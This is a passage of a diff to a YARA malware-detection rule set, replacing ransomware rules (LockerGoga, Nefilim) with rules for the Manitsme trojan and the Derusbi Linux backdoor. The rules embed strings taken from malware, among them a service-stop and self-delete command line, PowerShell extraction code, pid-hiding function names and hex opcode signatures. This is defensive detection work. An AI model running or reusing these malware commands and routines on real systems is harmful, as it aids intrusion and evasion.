558BEC81EC88000000837D08008BC10F101A89957CFFFFFF0F104A10898578FFFFFF0F1062200F106A300F115D940F114DA40F1165B40F116DC40F8E340200008B45D08B4DC48B55B08945F88B45CC8945E08B45C88945E88B45C08945F08B45BC8945F48B45B8538B5DA88945EC8B45AC568B75A48945D48B45A0578975DC8945E48B459403C68BF033F18B4DB4C1C61003CE8BF9337DDCC1C70C03C78945DC33C6C1C0088945D803C18B4DEC89458833C7C1C0078945848B459803C38BF03375E8C1C61003CE8BF933FBC1C70C03C78945E833C6C1C00889458C03C18B4DF48BD88945EC33DF8B459C0345D48B7DE48BF03375E003FAC1C61003CEC1C307894DF4334DD4C1C10C03C133F08945908B45F0C1C6088975800375F433CEC1C107894DE08B4DF833CFC1C11003C133D08945F0C1C20C8D043A8B7DF033C88945E48B45DCC1C10803F9894DF833D7C1C20703C38BC8334DF8C1C11003F18975FC315DFC8B5DFCC1C30C03C389459433C1C1C0088945F88945D003C633D88945F48945BC8B45E80345E08BC8C1C307334DD8C1C110895DFC895DA88B5DEC8D340F8BFE337DE0C1C70C03C789459833C1C1C0088945D88945C403C68B758833F88945F08945C08B459003C2C1C7078BC8897DD4334D8CC1C11003F1897DAC8B7DE433D6037D84C1C20C03C289459C33C1C1C0088945E88945C803C633D08945B48BC7C1C207334580C1C01003D88BCB334D84C1C10C03F98BF7897DE433F0897DA0C1C60803DE8975E08975CC895DEC8B45088BF333F1895DB88B5DFC488B4DD8C1C6078975DC8975A489450885C00F8F30FEFFFF0F106DC48B8578FFFFFF0F1065B45F0F105D948955B00F104DA48B957CFFFFFF5E5B0F10020F105210660FFED80F104230660FFED10F104A200F1118660FFECC660FFEC50F1150100F1148200F1140308BE55DC3CCCCCCCCCCCCCCCCCCCC558BEC83E4F081EC58020000568BC18B4D1489442420578BFA897C24283D000100000F82680A0000660F6E07660F70C800660F6E4704660F70D000660F6E4708660F70D800660F6E470C660F70E000660F6E4710660F70E800660F6E47148B7508660F70F000660F6E47188B550C660F70F8008D8EC0000000660F6E471C660F70C0000F29842430010000660F6E4720660F70C0000F29842440010000660F6E4724660F70C0000F29842450010000660F6E4728660F70C0000F29842460010000660F6E472C894C240C8D8AC0000000660F70C000894C241C8D8E800000000F29842470010000660F6E4738894C24148D8A80000000660F70C000894C24188D4E400F29842480010000660F6E473C894C242C8D4A40660F70C000C1E8080F298C24A00100000F299424B00100000F299C24C00100000F29A424D00100000F29AC24E00100000F29B424F00100000F29BC24000200000F29842490010000894C24108944242066660F1F8400000000000F2884243001000033C00B47308B4F340F298424800000000F288424400100000F298424900000000F288424500100000F294424600F288424600100000F298424100100000F28842470010000894C244C8944244883C0040F298C24D0000000F30F7E4C244883D1000F298424200100000F288424900100000F299424E00000000F2815A02B4200660F6CC90F29442430660FD4D10F2805B02B42000F29A424A0000000660FD4C10F28E20F29B42400010000660F62E0660F6AD00F28F40F299C24F00000000F28DD0F28AC2480010000660F62F20F297C24700F28FE660F6AE2894F348B4D140F295C24500F29AC24C00000000F29A424B00000000F29BC24400200000F29A4245002000089473085C90F84820400000F287C24708BC166900F28D3660FFE9424D0000000660FEFF2660F380035C02B42000F28DE660FFE9C24900000000F28C3660FEF4424500F28C8660F72F00C660F72D114660FEBC80F28C1660FFEC20F28942400010000660FFE9424E0000000660FEFF0660F380035D02B42000F29842490000000660FEFE2660F380025C02B42000F28C60F29742470660FFEC30F28DC660FFE5C24600F29842410020000660FEFC10F28C8660F72F007660F72D119660FEBC80F28C3660FEF8424000100000F298C24200200000F28C8660F72F00C660F72D114660FEBC80F28C1660FFEC20F28D7660FFE9424F0000000660FEFE0660F380025D02B42000F29442460660FEFEA660F38002DC02B42000F28C40F29A424B0000000660FFEC30F28DD660FFE9C24100100000F29842430020000660FEFC10F28F0660F72F007660F72D619660FEBF00F28C3660FEFC70F28C8660F72F00C660F72D114660FEBC80F28C1660FFEC20F28942480000000660FFE9424A0000000660FEFE8660F38002DD02B42000F294424500F28E50F29AC24C0000000660FFEE30F28C4660FEFC10F28F8660F72F007660F72D719660FEBF80F286C2430660FEFEA660F38002DC02B42000F28DD660FFE9C24200100000F28C3660FEF8424800000000F28C8660F72F00C660F72D114660FEBC80F28C1660FFEC20F28D6660FEFE8660FFE942490000000660F38002DD02B42000F298424A00000000F296C2430660FFEEB0F28C5660FEFC10F28C8660F72F007660F72D119660FEBC80F28442430660FEFC20F298C2480000000660F380005C02B42000F28D80F29442430660FFEDC0F28C3660FEFC60F287424700F28C8660F72F00C660F72D114660FEBC80F284424300F28E1660FFEE20F28D7660FFE542460660FEFC4660F380005D02B4200660FEFF20F29A424D0000000660F380035C02B42000F29442430660FFEC30F298424100100000F28DE660FEFC1660FFEDD0F28C8660F72F007660F72D119660FEBC80F28C3660FEFC70F298C24000100000F28C8660F72F00C660F72D114660FEBC80F28C1660FFEC20F28942480000000660FEFF00F298424E0000000660F380035D02B42000F28C6660FFEC30F29842420010000660FEFC10F28F8660F72F007660F72D719660FEBF8660FFE5424500F28A424B00000000F28AC24C0000000660FEFE2660F380025C02B42000F28DC660FFE9C24100200000F28C3660FEF8424800000000F28C8660F72F00C660F72D114660FEBC80F28C1660FFEC20F28942420020000660FFE9424A0000000660FEFE00F298424F0000000660FEFEA660F380025D02B4200660F38002DC02B42000F29A424B00000000F28C4660FFEC30F28DD660FFE9C24300200000F29842490000000660FEFC10F28C8660F72F007660F72D119660FEBC80F28C3660FEF8424200200000F298C24800000000F28C8660F72F00C660F72D114660FEBC80F28C1660FFEC20F298424A0000000660FEFE8660F38002DD02B42000F29AC24C00000000F28C5660FFEC30F29442460660FEFC10F28D8660F72F007660F72D319660FEBD80F295C245083E8010F8594FBFFFF0F297C24700F28BC24400200000F28AC24A0010000660FFEAC24D00000000F28A424C00100000F28DD660FFEA424F00000000F288C24B00100000F28D4660FFE8C24E00000000F288424D0010000660FFE8424A00000008B44242C8B7C2414660F62D9660F6AE90F28CB660F6AE0660F62D00F10068344241410660F6CCA660FEFC8660F6DDA0F110A0F10008B4424100F28CD660F6DEC660FEFD8660F6CCC0F28A424000200000F111883C0100F10078B7C2418660FFE642470660FEFC883442418100F28D4894424100F110F8B7C240C0F288C24F0010000660FFE8C24000100008344240C100F10078B7C241C8344241C10660FEFE80F28842430010000660FFE8424800000000F112F8B7C242C0F28AC24E0010000660FFE6C24500F28DD660F62D0660F62D9660F6AE90F28CB660F6AE00F104610660F6CCA660FEFC8660F6DDA0F114A100F1047100F28CD660F6DEC660FEFD8660F6CCC0F11188B4424140F10008B442418660FEFC80F11088B44240C0F10008B44241C660FEFE80F11280F28AC2440010000660FFEFE660FFEAC24900000000F28A424600100000F28DD660FFEA424100100000F288C24500100000F28D4660FFE4C24600F28842470010000660FFE84242001000083442410108B4424108344241410660F62D98344241810660F6AE90F28CB660F6AE0660F62D00F1046208344240C10660F6CCA660FEFC88344241C100F114A200F104720660F6DDA0F28CD660FEFD8660F6CCC0F11188B44241483442414100F28DF660F6DEC0F28A424800100000F10008B442418660FFEA424C0000000660FEFC883442418100F28D40F11088B44240C0F288C2450020000660FFE8C24B00000008344240C100F10008B44241C660F62D9660FEFE8660F6AF90F288424900100000F28CB660FFE4424300F11288B442410660F62D083C010660F6AE00F1046308344241C10660F6CCA660FEFC8660F6DDA0F114A30894424100F1047300F28CF660F6DFC660FEFD8660F6CCC0F11188B4424140F10008B442418660FEFC80F11088B44240C0F10008B44241C660FEFF881442410D000000081C70001000081442418D000000081C2000100008144241CD000000081C60001000081442414D00000008144240CD00000000F288C24A00100000F289424B00100000F289C24C00100000F28A424D00100000F28AC24E00100000F28B424F00100000F11388B4424240F28BC24000200002D00010000836C242001897C242C8B7C2428894424240F85E2F6FFFFEB068B550C8B75088954241083F8400F829A010000C1E80689442420660F1F4400000F10370F1057100F107F200F106F3085C90F84F60000008BC10F1F80000000000F28DA660FFEDE660FEFEB660F38002DC02B42000F28E5660FFEE70F28C4660FEFC20F28C8660F72F00C660F72D114660FEFC80F28D1660FFED3660FEFEA660F70D293660F38002DD02B42000F28DD660F70ED4E660FFEDC660F70E3390F28C3660FEFC10F28C8660F72F007660F72D119660FEFC8660FFED1660FEFEA660F38002DC02B4200660FFEE50F28C4660FEFC10F28D8660F72F00C660F72D314660FEFD80F28C3660FFEC2660F70F039660FEFE8660F38002DD02B42000F28C5660F70ED4E660FFEC4660F70F8930F28C8660FEFCB0F28D1 } + $x1 = "timeout /t 10 & sc stop dllhost & timeout /t 10 & del C:\\Windows\\Temp\\BAK.exe" fullword wide + $s2 = "lSystem.Resources.ResourceReader, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089#System.Resources.R" ascii + $s3 = "C:\\Windows\\Temp\\rconfig.xml" fullword wide + $s4 = "Add-Type -AssemblyName System.IO.Compression.FileSystem" fullword wide + $s5 = "serviceProcessInstaller1" fullword ascii + $s6 = " [System.IO.Compression.ZipFile]::ExtractToDirectory($zipfile, $outpath)" fullword wide + $s7 = "exec_cmd2" fullword ascii + $s8 = "exec_cmd" fullword ascii + $s9 = "send_command_result" fullword ascii + $s10 = "mycontent" fullword ascii + $s11 = "Diagnostic Server Host" fullword wide + $s12 = "bytesToBeEncrypted" fullword ascii + $s13 = "createPostRequest" fullword ascii + $s14 = "myhash" fullword ascii + $s15 = "DD5783BCF1E9002BC00AD5B83A95ED6E4EBB4AD5" ascii + $s16 = "circle_time" fullword ascii + $s17 = "ServiceStart_AfterInstall" fullword ascii + $s18 = "serviceInstaller1" fullword ascii + $s19 = "BAK.ProjectInstaller.resources" fullword ascii + $s20 = "Dll host" fullword wide + $op0 = { 96 00 f1 0a 57 02 05 00 34 25 } + $op1 = { 96 00 83 05 5a 01 0e 00 38 28 } + $op2 = { 06 00 00 11 28 4d 00 00 0a 02 6f 4e 00 00 0a 28 } condition: - uint16( 0 ) == 0x5a4d and filesize < 400KB and all of them + ( uint16( 0 ) == 0x5a4d and filesize < 50KB and pe.imphash ( ) == "f34d5f2d4577ed6d9ceec516c1f5a744" and ( 1 of ( $x* ) and 4 of them ) and all of ( $op* ) ) or ( all of them ) } -rule TRELLIX_ARC_Lockergogaransomware : RANSOMWARE FILE +rule TRELLIX_ARC_Apt_Manitsme_Trojan : TROJAN FILE { meta: - description = "LockerGoga Ransomware" - author = "Christiaan Beek - McAfee ATR team" - id = "bdf5da34-adf0-5731-820f-96511e647a83" - date = "2019-03-20" + description = "Rule to detect the Manitsme trojan" + author = "Marc Rivero | McAfee ATR Team" + id = "49e0c934-6920-5e49-837c-27ebbbd5a1a2" + date = "2013-03-08" modified = "2020-08-14" - reference = "https://github.com/advanced-threat-research/Yara-Rules/" - source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/ransomware/RANSOM_LockerGoga.yar#L1-L36" + reference = "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf" + source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/APT/APT_manitsme_trojan_pdb.yar#L1-L36" license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/LICENSE" - hash = "ba15c27f26265f4b063b65654e9d7c248d0d651919fafb68cb4765d1e057f93f" - logic_hash = "165fa0fa044b2e0d2344626c2064162f23e13dc17310a772b703dbbe9457bd99" + hash = "c1c0ea096ec4d36c1312171de2a9ebe258c588528a20dbb06a7e3cf97bf1e197" + logic_hash = "584053145249a930d3eae5e291d3553c57fa427dbecac9f04e7c0169f153b7af" score = 75 quality = 70 - tags = "RANSOMWARE, FILE" + tags = "TROJAN, FILE" rule_version = "v1" - malware_type = "ransomware" - malware_family = "Ransom:W32/LockerGoga" - actor_type = "Cybercrime" + malware_type = "trojan" + malware_family = "Trojan:W32/Manitsme" + actor_type = "Apt" actor_group = "Unknown" strings: - $1 = "boost::interprocess::spin_recursive_mutex recursive lock overflow" fullword ascii - $2 = ".?AU?$error_info_injector@Usync_queue_is_closed@concurrent@boost@@@exception_detail@boost@@" fullword ascii - $3 = ".?AV?$CipherModeFinalTemplate_CipherHolder@V?$BlockCipherFinal@$00VDec@RC6@CryptoPP@@@CryptoPP@@VCBC_Decryption@2@@CryptoPP@@" fullword ascii - $4 = "?http://crl.usertrust.com/USERTrustRSACertificationAuthority.crl0v" fullword ascii - $5 = "cipher.exe" fullword ascii - $6 = ".?AU?$placement_destroy@Utrace_queue@@@ipcdetail@interprocess@boost@@" fullword ascii - $7 = "3http://crt.usertrust.com/USERTrustRSAAddTrustCA.crt0%" fullword ascii - $8 = "CreateProcess failed" fullword ascii - $9 = "boost::dll::shared_library::load() failed" fullword ascii - $op1 = { 8b df 83 cb 0f 81 fb ff ff ff 7f 76 07 bb ff ff } - $op2 = { 8b df 83 cb 0f 81 fb ff ff ff 7f 76 07 bb ff ff } + $s1 = "SvcMain.dll" fullword ascii + $s2 = "rj.soft.misecure.com" fullword ascii + $s3 = "d:\\rouji\\SvcMain.pdb" fullword ascii + $s4 = "constructor or from DllMain." fullword ascii + $s5 = "Open File Error" fullword ascii + $s6 = "nRet == SOCKET_ERROR" fullword ascii + $s7 = "Oh,shit" fullword ascii + $s8 = "Paraing" fullword ascii + $s9 = "Hallelujah" fullword ascii + $s10 = "ComSpec" fullword ascii + $s11 = "ServiceMain" fullword ascii + $s12 = "SendTo(s,(char *)&sztop,sizeof(sztop),FILETYPE) == ERRTYPE" fullword ascii condition: - ( uint16( 0 ) == 0x5a4d and filesize < 2000KB and ( 6 of them ) and all of ( $op* ) ) or ( all of them ) + uint16( 0 ) == 0x5a4d and filesize < 200KB and all of them } -rule TRELLIX_ARC_Nefilim_Ransomware : RANSOMWARE FILE +rule TRELLIX_ARC_Apt_Nix_Elf_Derusbi : BACKDOOR FILE { meta: - description = "Rule to detect Nefilim ransomware" + description = "Rule to detect the APT Derusbi ELF file" author = "Marc Rivero | McAfee ATR Team" - id = "55d9cb20-5071-5dce-a46f-a20816ba379f" - date = "2020-03-17" - modified = "2020-04-03" - reference = "https://www.bleepingcomputer.com/news/security/new-nefilim-ransomware-threatens-to-release-victims-data/" - source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/ransomware/RANSOM_NEFILIM.yar#L3-L48" + id = "3b1c9644-7279-5e2c-8891-f03ca78cf3b7" + date = "2017-05-31" + modified = "2020-08-14" + reference = "https://attack.mitre.org/software/S0021/" + source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/APT/APT_Derusbi.yar#L1-L61" license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/LICENSE" - hash = "5ab834f599c6ad35fcd0a168d93c52c399c6de7d1c20f33e25cb1fdb25aec9c6" - logic_hash = "d8cd5d2dd552d3e9f57f7bd244e941fe89a96ab16bbcc71911e8e2a519f53f03" + logic_hash = "0a83566a0540d28d1cc0ebee01d29d15ddc86cabff9044fd8a198b847ba24c50" score = 75 - quality = 70 - tags = "RANSOMWARE, FILE" + quality = 68 + tags = "BACKDOOR, FILE" rule_version = "v1" - malware_type = "ransomware" - malware_family = "Ransom:W32/Nefilim" + malware_type = "backdoor" + malware_family = "Backdoor:ELF/Derusbi" actor_type = "Cybercrime" actor_group = "Unknown" strings: - $s1 = "C:\\Users\\Administrator\\Desktop\\New folder\\Release\\NEFILIM.pdb" fullword ascii - $s2 = "oh how i did it??? bypass sofos hah" fullword ascii - $s3 = " /c timeout /t 3 /nobreak && del \"" fullword wide - $s4 = "NEFILIM-DECRYPT.txt" fullword wide - $op0 = { db ff ff ff 55 8b ec 83 ec 24 53 56 57 89 55 f4 } - $op1 = { 60 be 00 d0 40 00 8d be 00 40 ff ff 57 eb 0b 90 } - $op2 = { 84 e0 40 00 90 d1 40 00 08 } - $bp = { 558B??83????53565789????29????6A??8D????8D????5A8B??89????8A????88????8B????8A????88??8A????88????8A??88????03??03??FF????75??89????8D????8D????8D????89????89????29????89????29????89????29????8D????8D????89????29????89????29????8B????89????29????8D????F6??????8B????8A????8B????8A????8A??88????8B????8A????88????75??0FB6??8A??????????0FB6??88????8A??????????0FB6????8A??????????88????0FB6????8A??????????88????8B????C1????32??????????8B????8A????32??8B????88????8A????32??88????8A??32????83????88????8B????8A????32????FF????88??83????83????83??????0F82????????5F5E5BC9C3558B??560FB6??57C1????03????6A??5F6A??5E8A??30??40414E75??4F75??5F5E5DC356576A??5F6A??8B??5E0FB6??8A??????????88??83????4E75??414F75??5F5EC38A????8A????88????8A????88????8A????88????8A????88????8A????88????8A????88????8A????88????8A????88????8A????88????8A????88????8A????88????88????C3558B??5153566A??83????5E8A????32??8A????8A????88????32??32??88????88????32??8A??C0????B3??F6??02??32??32????8A????32????32??88????8A??C0????F6??02??32??32????8A????32????88????8A??C0????F6??02??32??32??8A????32????32????88??8A??C0????F6??02??32??32????83????32????4E88????75??5E5BC9C3558B??53FF????8B??32??E8????????59B3??8B??E8????????8B??E8????????8B??E8????????FF????8B??8A??E8????????FE??5980????72??8B??E8????????8B??E8????????5B8B??B0??5DE9????????558B??81??????????53568D??????????E8????????33??6A??5939????76??5783????75??8B????8D????A5A5A58D??????????A5508D????E8????????596A??588B????8D????80????75??48C6????79??EB??FE????33??8A??????8B????30????43413B????72??5F8B????8B????6A??2B??5E8A????88??404E75??5E5BC9C3558B??81??????????53FF????8D??????????50FF??????????68????????8D??????????50FF??????????33??53536A??535368????????8D??????????50FF??????????89????3B??0F84????????56578D????5053BE????????5689????FF??????????5056E8????????83????85??75??53FF??????????FF????8B??????????53FF??50FF??????????8D????51505689????FF??????????5056E8????????83????85??74??8B????89????8D????50FF????E8????????59595385??74??8D????50FF????FF????FF????FF??????????FF????53FF??50FF??????????5F5E5BC9C3558B??83????81??????????535657FF????8D????????????50FF??????????8B??????????68????????8D????????????50FF??8D??????508D????????????50FF??????????89??????83????0F84????????8B??????????68????????8D??????50FF??85??0F84????????68????????8D??????50FF??85??0F84????????68????????8D??????50FF??85??0F84????????68????????8D??????50FF??85??0F84????????68????????8D??????50FF??85??0F84????????68????????8D??????50FF??85??0F84????????68????????8D??????50FF??85??0F84????????68????????8D??????50FF??85??0F84????????68????????8D??????50FF??85??0F84????????68????????8D??????50FF??85??0F84????????68????????8D??????50FF??85??0F84????????68????????8D??????50FF??85??0F84????????68????????8D??????50FF??85??0F84????????68????????8D??????50FF??85??0F84????????68????????8D??????50FF??85??0F84????????68????????8D??????50FF??85??0F84????????68????????8D??????50FF??85??0F84????????68????????8D??????50FF??85??0F84????????68????????8D??????50FF??85??0F84????????68????????8D??????50FF??85??0F84????????68????????8D??????50FF??85??0F84????????68????????8D??????50FF??85??0F84????????68????????8D??????50FF??85??0F84????????F6????????FF????8D????????????5074??FF??????????8D??????508D????????????50FF??68????????8D????????????50FF??8D????????????50E8????????E9????????FF??????????8D??????508D????????????50FF??8D??????50E8????????8B??C7????????????57FF??85??0F84????????68????????57FF??85??0F84????????68????????57FF??85??0F84????????68????????57FF??85??0F84????????68????????57FF??85??0F84????????68????????57FF??85??0F84????????68????????57FF??85??0F84????????68????????57FF??85??74??68????????57FF??85??74??68????????57FF??85??74??68????????57FF??85??74??68????????57FF??85??74??68????????57FF??85??74??68????????57FF??85??74??68????????57FF??85??74??68????????57FF??85??74??68????????8D??????50FF??85??74??8D????????????50E8????????598D??????50FF??????FF??????????85??0F85????????FF??????FF??????????5F5E5B8B??5DC3558B??81??????????53565768????????FF??????????8B??????????5033??57FF??8B??????????50FF??68????????89????FF??????????89????B8????????39????74??8B????2B??8A??FF????88????4039????75??57576A??575768????????FF????FF??????????89????3B??0F84????????8D????5150FF??????????6A??57FF??50FF??6A??5789????FF??50FF??FF????89????E8????????FF????E8????????595968????????57FF??50FF??68????????5789????FF??50FF??FF????8B????89????E8????????FF????8B????E8????????8B??????????59595757FF????FF????FF????FF??57FF??????????578D????5068????????FF????FF????FF??????????FF??????????83????0F84????????FF??????????83????0F84????????8B????8B????5705????????5713??5150FF????FF??578D????5068????????FF????FF????FF??????????8B????8B????5705????????5713??5150FF????FF??578D????5068????????FF??????????50FF????FF????FF??????????8B????8B????3B??0F8C????????7F??81??????????0F86????????89????89????3B??0F8C????????7F??3B??0F86????????EB??8B????2B????1B????89????0F88????????7F??81??????????0F82????????68????????57FF??50FF??????????5757FF????89????FF????FF????FF??578D????5068????????FF????FF????FF??????????FF????8B????FF????68????????FF????E8????????83????5757FF????FF????FF????FF??578D????5068????????FF????FF????FF??????????FF??FF????5750FF??????????81????????????8B????11????39????0F8C????????0F8F????????8B????39????0F82????????E9????????3B??7C??7F??81??????????76??68????????57FF??50FF??????????575733??89????5133??50FF????FF??578D????5068????????FF????FF????FF??????????FF????8B????FF????68????????FF????E8????????83????575733??5050FF????FF??578D????5068????????EB??5157FF??50FF??????????575733??89????5133??50FF????FF??578D????50FF????FF????FF????FF??????????FF????8B????FF????FF????FF????E8????????83????575733??5050FF????FF??578D????50FF????FF????FF????FF??????????FF????57FF??50FF??????????FF????FF??????????FF????57FF??8B??????????50FF??FF???? } + $s1 = "LxMain" + $s2 = "execve" + $s3 = "kill" + $s4 = "cp -a %s %s" + $s5 = "%s &" + $s6 = "dbus-daemon" + $s7 = "--noprofile" + $s8 = "--norc" + $s9 = "TERM=vt100" + $s10 = "/proc/%u/cmdline" + $s11 = "loadso" + $s12 = "/proc/self/exe" + $s13 = "Proxy-Connection: Keep-Alive" + $s14 = "Connection: Keep-Alive" + $s15 = "CONNECT %s" + $s16 = "HOST: %s:%d" + $s17 = "User-Agent: Mozilla/4.0" + $s18 = "Proxy-Authorization: Basic %s" + $s19 = "Server: Apache" + $s20 = "Proxy-Authenticate" + $s21 = "gettimeofday" + $s22 = "pthread_create" + $s23 = "pthread_join" + $s24 = "pthread_mutex_init" + $s25 = "pthread_mutex_destroy" + $s26 = "pthread_mutex_lock" + $s27 = "getsockopt" + $s28 = "socket" + $s29 = "setsockopt" + $s30 = "select" + $s31 = "bind" + $s32 = "shutdown" + $s33 = "listen" + $s34 = "opendir" + $s35 = "readdir" + $s36 = "closedir" + $s37 = "rename" condition: - uint16( 0 ) == 0x5a4d and filesize < 200KB and all of ( $s* ) or all of ( $op* ) or $bp + ( uint32( 0 ) == 0x4464c457f ) and filesize < 200KB and all of them } - -rule TRELLIX_ARC_Nefilim_Signed : RANSOMWARE FILE +rule TRELLIX_ARC_Apt_Nix_Elf_Derusbi_Kernelmodule : BACKDOOR FILE { meta: - description = "Rule to detect Nefilim samples digitally signed" + description = "Rule to detect the Derusbi ELK Kernel module" author = "Marc Rivero | McAfee ATR Team" - id = "a9a5daf0-4cfb-556a-b20a-72283fb1a0f9" - date = "2020-04-02" + id = "1614a63d-c5d1-5ce1-a5b8-eb48325f60e6" + date = "2017-05-31" modified = "2020-08-14" - reference = "https://www.bleepingcomputer.com/news/security/new-nefilim-ransomware-threatens-to-release-victims-data/" - source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/ransomware/RANSOM_NEFILIM.yar#L50-L72" + reference = "https://attack.mitre.org/software/S0021/" + source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/APT/APT_Derusbi.yar#L63-L105" license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/LICENSE" - hash = "353ee5805bc5c7a98fb5d522b15743055484dc47144535628d102a4098532cd5" - logic_hash = "7625eb7de1ebb2f5410552b8983379f213d639f5e146a5d951975b69eb8111d3" + logic_hash = "0b86e96ef616e926f0d665e2bd013f2773461483176c68bd5e7c7d059ac13d78" score = 75 quality = 70 - tags = "RANSOMWARE, FILE" + tags = "BACKDOOR, FILE" rule_version = "v1" - malware_type = "ransomware" - malware_family = "Ransom:W32/Nefilim" + malware_type = "backdoor" + malware_family = "Backdoor:ELF/Derusbi" actor_type = "Cybercrime" actor_group = "Unknown" + strings: + $s1 = "__this_module" + $s2 = "init_module" + $s3 = "unhide_pid" + $s4 = "is_hidden_pid" + $s5 = "clear_hidden_pid" + $s6 = "hide_pid" + $s7 = "license" + $s8 = "description" + $s9 = "srcversion=" + $s10 = "depends=" + $s11 = "vermagic=" + $s12 = "current_task" + $s13 = "sock_release" + $s14 = "module_layout" + $s15 = "init_uts_ns" + $s16 = "init_net" + $s17 = "init_task" + $s18 = "filp_open" + $s19 = "__netlink_kernel_create" + $s20 = "kfree_skb" + condition: - uint16( 0 ) == 0x5a4d and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Red GmbH/CN=Red GmbH" and pe.signatures [ i ] . serial == "00:b8:81:a7:2d:41:17:bb:c3:8b:81:d3:c6:5c:79:2c:1a" or pe.signatures [ i ] . thumbprint == "5b:19:58:8b:78:74:0a:4c:5d:08:41:99:dc:0f:52:a6:1f:38:00:99" ) + ( uint32( 0 ) == 0x4464c457f ) and filesize < 200KB and all of them } -rule TRELLIX_ARC_RANSOM_Nefilim_Go : RANSOMWARE FILE +rule TRELLIX_ARC_Apt_Nix_Elf_Derusbi_Linux_Sharedmemcreation : BACKDOOR FILE { meta: - description = "Rule to detect the new Nefilim written in GO" + description = "Rule to detect Derusbi Linux Shared Memory creation" author = "Marc Rivero | McAfee ATR Team" - id = "a8809060-c646-5d54-88e7-c8054305ee6c" - date = "2020-07-13" + id = "8d2db62e-22fa-5bbe-ab65-f294fc911b82" + date = "2017-05-31" modified = "2020-08-14" - reference = "https://www.bleepingcomputer.com/news/security/new-nefilim-ransomware-threatens-to-release-victims-data/" - source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/ransomware/RANSOM_NEFILIM.yar#L74-L98" + reference = "https://attack.mitre.org/software/S0021/" + source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/APT/APT_Derusbi.yar#L107-L130" license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/LICENSE" - hash = "a51fec27e478a1908fc58c96eb14f3719608ed925f1b44eb67bbcc67bd4c4099" - logic_hash = "f0b10286fb1623a32bcf1f30cadce2901f7711cb36db6bbe812f6c2e03862270" + logic_hash = "095af979728f3b71e3192140306e4aa76011e07a25b20b0c5b3b98db41411714" score = 75 quality = 70 - tags = "RANSOMWARE, FILE" + tags = "BACKDOOR, FILE" rule_version = "v1" - malware_type = "ransomware" - malware_family = "Ransom:W32/Nefilim" + malware_type = "backdoor" + malware_family = "Backdoor:ELF/Derusbi" actor_type = "Cybercrime" actor_group = "Unknown" strings: - $pattern = { FF20476F206275696C642049443A20226A744368374D37436A4A5732634C5F636633374A2F49625946794336635A64735F4D796A56633461642F486B6D36694A4D39327847785F4F2D65746744692F664E37434C43622D59716E374D795947565A686F220A20FFCCCCCCCCCCCCCCCCCC648B0D140000008B89000000003B6108766B83EC0CC744241400000000C7442418000000008B4424108400890424E88D0200008B44240485C0740789C183F8FF7514C744241400000000C74424180000000083C40CC3894C24088B44241083C004890424E8570200008B4424048B4C2408894C24148944241883C40CC3E8AE5A0400E979FFFFFFCCCCCCCCCCCCCCCCCC648B0D140000008B89000000003B61080F86EC00000083EC108B44241885C00F84C30000008B4424148400890424E8FD0100008B44240485C0742E89C183F8FF74E38B44241839C10F85800000008B44241C894424048B44241483C004890424E88B12000083C410C3E8620303008B442414890424C744240400000000C7442408FFFFFFFFE8A61200000FB644240C84C07507E868030300EB8B8B44241C894424048B4424148D4804890C24E83F1200008B442418894424048B442414890424E82B120000E83603030083C410C38D05408E4E008904248D05B8CC510089442404E8DA3F02000F0B8D05408E4E008904248D05B0CC510089442404E8C03F02000F0BE899590400E9F4FEFFFFCCCCCCCCE90B000000CCCCCCCCCCCCCCCCCCCCCC8B6C24048B4424088B4C240CF00FB14D000F94442410C3CCCCCCCCCCCCCCCCCCE9DBFFFFFFCCCCCCCCCCCCCCCCCCCCCC8B6C2404F7C50700000074068B05000000008B4424088B54240C8B5C24108B4C2414F00FC74D000F94442418C3CCCCCCE90B000000CCCCCCCCCCCCCCCCCCCCCC8B6C24048B44240889C1F00FC1450001C1894C240CC3CCCCCCCCCCCCCCCCCCCC8B6C2404F7C50700000074068B05000000008B7424088B7C240C8B45008B550489C389D101F311F9F00FC74D0075F1895C2410894C2414C3CCCCCCCCCCCCCCCC8B4424048B0089442408C3CCCCCCCCCC8B442404A90700000074068B05000000000F6F000F7F4424080F77C3CCCCCCCCE9CBFFFFFFCCCCCCCCCCCCCCCCCCCCCCE9BBFFFFFFCCCCCCCCCCCCCCCCCCCCCC8B6C24048B442408874500C3CCCCCCCCE9EBFFFFFFCCCCCCCCCCCCCCCCCCCCCC8B4424040FBCC074058944240CC38B4424080FBCC0740883C0208944240CC3C744240C40000000C3CCCCCCCCCCCCCCCC8B4424048B0089442408C3CCCCCCCCCC8B4424048B0089442408C3CCCCCCCCCC83EC208B4424248B088B54242889CB01D1894C241C8B6804890424895C2404896C2408894C240C8B5C242C11DD896C2418896C2410E8160100000FB644241484C074C08B44241C894424308B4424188944243483C420C3CCCCCCCCCCCCCCCCCC83EC208B4424248B08894C24188B50048954241C890424894C2404895424088B5C2428895C240C8B6C242C896C2410E8BC0000000FB644241484C074C68B442418894424308B44241C8944243483C420C3CCCCCCCCCCCCCCCCCCCCCCCCCCCCCC8B5C24048B4424088B4C240CF00FB10B0F94442410C3CCCCCCCCCCCCCCCCCCCCE9DBFFFFFFCCCCCCCCCCCCCCCCCCCCCCE9EBFEFFFFCCCCCCCCCCCCCCCCCCCCCCE9DB